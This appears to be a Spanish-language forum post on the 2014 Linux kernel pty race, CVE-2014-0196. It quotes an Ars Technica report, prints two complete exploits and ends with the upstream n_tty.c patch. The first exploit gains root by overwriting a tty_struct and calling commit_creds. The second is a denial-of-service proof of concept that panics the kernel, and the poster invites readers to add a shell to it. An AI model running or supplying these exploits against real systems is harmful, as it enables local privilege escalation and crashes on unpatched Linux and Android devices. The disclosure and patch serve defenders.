Grave fallo de seguridad en Linux kernel - 2.6.31-rc3 hasta 3.15-rc4 | Exploit + archivo fixed n_tty.c CVE-2014-0196

Es un fallo introducido en el 2009 que pasó desapercibido, acá publico dos exploit, el primero deberia dar root, y el segundo (mas efectivo) no da root pero crea un panic (debería el que sepa añadir una shell al espacio que sobreescribe en memoria).


Maintainers of the Linux kernel have patched one of the more serious security bugs to be disclosed in the open source operating system in recent months. The five-year-old code-execution hole leaves computers used in shared Web hosting services particularly vulnerable, so users and administrators should make sure systems are running updated versions that contain a fix.
The memory-corruption vulnerability, which was introduced in version 2.6.31-rc3, released no later than 2009, allows unprivileged users to crash or execute malicious code on vulnerable systems, according to the notes accompanying proof-of-concept code available here. The flaw resides in the n_tty_write function controlling the Linux pseudo tty device.

Critical Linux vulnerability imperils users, even after “silent” fix

A month after critical bug was quietly fixed, "root" vulnerability persists.

"This is the first serious privilege escalation vulnerability since the perf_events issue (CVE-2013-2049) in April 2013 that is potentially reliably exploitable, is not architecture or configuration dependent, and affects a wide range of Linux kernels (since 2.6.31)," Dan Rosenberg, a senior security researcher at Azimuth Security, told Ars in an e-mail. "A bug this serious only comes out once every couple years." As Ars reported in May 2013, the then-two-year-old CVE-2013-2049 continued to imperil users more than a month after Linux maintainers quietly released a patch for the gaping hole. While the vulnerability can be exploited only by someone with an existing account, the requirement may not be hard to satisfy in hosting facilities that provide shared servers, Rosenberg said. It could also come handy in multi-stage attacks that exploit a variety of bugs that, when combined, give the attacker unfettered control over a targeted system. As others have pointed out, the vulnerability also has the potential to affect Google's Android and Chrome OSes.
Linux maintainers have committed a fix here, and the patch has already been released for the Ubuntu distributions. Officials with Red Hat say Red Hat Enterprise Linux 5 is not vulnerable to the issue, but updates for Red Hat Enterprise Linux 6 and Red Hat Enterprise MRG 2 may be released in the future. The status of Debian is here.
The availability of proof-of-concept code exploiting the flaw is a good indication that it's not hard for blackhat hackers to take advantage of organizations running vulnerable servers. Administrators and end users should ensure the systems they oversee or rely on are running up-to-date versions.

Fuente: http://arstechnica.com/security/2014/05/linux-gets-fix-for-code-execution-flaw-that-went-unpatched-since-2009/

Antes de seguir, quiero recordarles, aquel momento en que Alan Cox se despidio de Linux, en una pelea con Torvalds, por ESTE tema, lo acusaron de codigo viejo en el subsistema tty con tal de mantener Emacs... les dejo la nota para que lo lean:

https://lwn.net/Articles/343828/

(Quien mierda usa Emacs existiendo VIM)

No es dificil de entender, y lo mas grave si, es que afecta a Android, y como sabemos, las actualizaciones no son el fuerte de ese egendro para celulares, asi que aun los que posean 4.4.2 tengan cuidado con lo que bajan o ejecutan, porque pueden tener panic en su movil o bien que alguien de forma remota gane acceso root.

Yo mismo probé los exploit en mi sistema, el primero solo genera un DoS de CPU y RAM que no llega a mayores, aunque deberia dar root, el segundo, me genero un panic instantaneo y me crasheo el sistema. Usando un kernel 3.2.58 vanilla.

Si bien el parche ya se envio a git, fue solo a la rama de desarrollo, por lo tanto, ninguno de los kernel de kernel.org, al dia de la fecha, estan parcheados. He probado los mismos exploit en el kernel de RHEL6.5 2.6.32-431.17.1 y debo decir que el primero sale, o sea, termina sin hacer DoS, y el segundo no hace nada, asi que bien por RHEL, y los que tengamos servidores corriendo CentOS o RHEL.

Dejo a continuacion ambos exploit y una reflexión... este no fue el año en paz de Linux... OpenSSL, GNUtls y ahora esto.... vamos que mucho se habla de Windows pero... pocos fallos tan criticos se conocen a menudo que generen panic o permitan acceso SYSTEM (el root de windows).

Debería dar root o causar DoS:

/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage:
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
    int counter;
} atomic_t;

struct kref {
    atomic_t refcount;
};

struct tty_struct_header {
    int    magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
    commit_creds(prepare_kernel_cred(0));

    return 0;
}

unsigned long get_symbol(char *target_name) {
    FILE *f;
    unsigned long addr;
    char dummy;
    char name[256];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL)
        return 0;

    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
        if (ret == 0) {
            fscanf(f, "%s\n", name);
            continue;
        }

        if (!strcmp(name, target_name)) {
            printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

            fclose(f);
            return addr;
        }
    }

    printf("[-] Couldn't resolve \"%s\"\n", name);

    fclose(f);
    return 0;
}

void *overwrite_thread_fn(void *p) {
    write(slave_fd, buf, 511);

    write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
    write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
    char scratch[1024] = {0};
    void *tty_operations[64];
    int i, temp_fd_1, temp_fd_2;

    for (i = 0; i < 64; ++i)
        tty_operations[i] = payload;

    overwrite.magic                 = TTY_MAGIC;
    overwrite.kref.refcount.counter = 0x1337;
    overwrite.dev                   = (struct device *)scratch;
    overwrite.driver                = (struct tty_driver *)scratch;
    overwrite.ops                   = (struct tty_operations *)tty_operations;

    puts("[+] Resolving symbols");

    commit_creds = (commit_creds_fn)get_symbol("commit_creds");
    prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
    if (!commit_creds || !prepare_kernel_cred)
        return 1;

    puts("[+] Doing once-off allocations");

    for (i = 0; i < ONEOFF_ALLOCS; ++i)
        if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
            puts("[-] pty creation failed");
            return 1;
        }

    printf("[+] Attempting to overflow into a tty_struct...");
    fflush(stdout);

    for (i = 0; ; ++i) {
        struct termios t;
        int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
        pthread_t overwrite_thread;

        if (!(i & 0xfff)) {
            putchar('.');
            fflush(stdout);
        }

        if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
            puts("\n[-] pty creation failed");
            return 1;
        }

        for (j = 0; j < RUN_ALLOCS; ++j)
            if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
                puts("\n[-] pty creation failed");
                return 1;
            }

        close(fds[RUN_ALLOCS / 2]);
        close(fds2[RUN_ALLOCS / 2]);

        write(slave_fd, buf, 1);

        tcgetattr(master_fd, &t);
        t.c_oflag &= ~OPOST;
        t.c_lflag |= ECHO;
        tcsetattr(master_fd, TCSANOW, &t);

        if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
            puts("\n[-] Overwrite thread creation failed");
            return 1;
        }
        write(master_fd, "A", 1);
        pthread_join(overwrite_thread, NULL);

        for (j = 0; j < RUN_ALLOCS; ++j) {
            if (j == RUN_ALLOCS / 2)
                continue;

            ioctl(fds[j], 0xdeadbeef);
            ioctl(fds2[j], 0xdeadbeef);

            close(fds[j]);
            close(fds2[j]);
        }

        ioctl(master_fd, 0xdeadbeef);
        ioctl(slave_fd, 0xdeadbeef);

        close(master_fd);
        close(slave_fd);

        if (!setresuid(0, 0, 0)) {
            setresgid(0, 0, 0);

            puts("\n[+] Got it :)");
            execl("/bin/bash", "/bin/bash", NULL);
        }
    }
}

Ahora el que me genera panic:

/* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
 *    by DigitalCold <digitalcold0@gmail.com>
 *
 * Note: this crashes my i686 Gentoo system running 3.12.14
 * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
 * code exec would be greatly appreciated.
 *
 * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
 *
 * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
 * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
 * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>

#include <pty.h>
#include <termios.h>
#include <fcntl.h>

// used to sync the two writer processes
volatile static int * Sync = NULL;

int main() {
  int master, res;
  struct termios tp;

  Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE,
                MAP_SHARED | MAP_ANONYMOUS, -1, 0);

  if(Sync == MAP_FAILED)
  {
    perror("Sync mmap");
    exit(1);
  }

  // hold
  *Sync = 0;

  // create a child with a new PTY connection
  pid_t child = forkpty(&master, NULL, NULL, NULL);

  if(child == -1) {
    perror("forkpty");
    exit(1);
  }
  // parent
  else if(child > 0) {
    printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
    printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
    printf("[+] Starting bombing run...\n");

    int flags = fcntl(master, F_GETFL, 0);
    fcntl(master, F_SETFL, flags | O_NONBLOCK);

    // synchronizer process
    int doSync = fork();

    if(!doSync) { // child
      // sync the two processes (CLK)
      while(1) {
        sleep(1);
        *Sync = 1; // release
        sleep(1);
        *Sync = 0;
      }
    }
    else if(doSync < 0)
    {
      perror("sync fork");
      exit(1);
    }

    // used for printing status
    int cnt = 0;
    char readBuf[256<<3];

    while(1) {
      while(!*Sync) usleep(1000);
      if(write(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master write");
          exit(1);
        }
      }
     
      // shovel the input
      if(read(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master read");
          exit(1);
        }
      }

      if(cnt >= 200000) {
        fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
        exit(1);
      }
      else if(cnt++ % 200 == 0)
        fprintf(stderr, ".");
    }
  }
  else { // child
    char discard[1024];

    if(tcgetattr(0, &tp) == -1)
        perror("tcgetattr");

    // enable raw mode with ECHO to trigger the bug
    cfmakeraw(&tp);
    tp.c_lflag |=  ECHO;

    if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
        perror("tcsetattr");

    // make stdin and stdout non-blocking
    int flags = fcntl(0, F_GETFL, 0);
    fcntl(0, F_SETFL, flags | O_NONBLOCK);
    flags = fcntl(1, F_GETFL, 0);
    fcntl(1, F_SETFL, flags | O_NONBLOCK);

    // construct a lengthy crash string
    size_t badStrSz = 256<<2;
    char * badStr = malloc(badStrSz);
    int i;

    for(i = 0; i < badStrSz; i++)
      badStr[i] = 'A';

    // slave loop
    while(1) {
      while(!*Sync) usleep(1000);
      if(write(1, badStr, badStrSz) < 0)
        if(errno != EAGAIN)
          exit(1);

      // eat the incoming data
      if(read(0, discard, sizeof discard) < 0)
        if(errno != EAGAIN)
          exit(1);
    }
  }

  return 0;
}

Para los que quieran parchear su kernel vanilla (yo...), les dejo el code que deben modificar:

1 files changed, 4 insertions, 0 deletions
diff --git a/drivers/tty/n_tty.c b/drivers/tty/n_tty.c
index 41fe8a0..fe9d129 100644
--- a/drivers/tty/n_tty.c
+++ b/drivers/tty/n_tty.c
@@ -2353,8 +2353,12 @@ static ssize_t n_tty_write(struct tty_struct *tty, struct file *file,
                        if (tty->ops->flush_chars)
                                tty->ops->flush_chars(tty);
                } else {
+                       struct n_tty_data *ldata = tty->disc_data;
+
                        while (nr > 0) {
+                               mutex_lock(&ldata->output_lock);
                                c = tty->ops->write(tty, b, nr);
+                               mutex_unlock(&ldata->output_lock);
                                if (c < 0) {
                                        retval = c;
                                        goto break_out;

Eso es un patch, pero facilmente pueden editar el .c usando vim o el que gusten